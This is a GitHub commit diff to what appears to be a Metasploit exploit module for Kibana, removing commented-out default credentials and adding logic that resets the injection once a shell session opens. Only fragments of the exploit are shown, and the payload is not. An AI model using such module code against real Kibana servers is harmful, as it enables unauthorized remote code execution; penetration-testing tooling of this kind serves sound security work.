Skip to content

Commit

Permalink
review comments
Browse files Browse the repository at this point in the history
  • Loading branch information
h00die committed Sep 2, 2023
1 parent db9bf5f commit c6a2652
Showing 1 changed file with 14 additions and 2 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -62,8 +62,6 @@ def initialize(info = {})
register_options(
[
Opt::RPORT(5601),
# OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
# OptString.new('PASSWORD', [ false, 'Password to login with', '123456']),
OptString.new('TARGETURI', [ true, 'The URI of the Kibana Application', '/'])
]
)
Expand Down Expand Up @@ -178,8 +176,22 @@ def exploit
trigger_socket
print_status('Waiting for shells')
Rex.sleep(datastore['WFSDELAY'] / 10)
unless @reset_done
print_status('Unsetting to stop raining shells from a lacerated kibana')
send_injection(reset: true)
trigger_socket
end
end

def on_new_session(_client)
return if @reset_done

print_status('Unsetting to stop raining shells from a lacerated kibana')
send_injection(reset: true)
trigger_socket
@reset_done = true
ensure
super
end

end

0 comments on commit c6a2652

Please sign in to comment.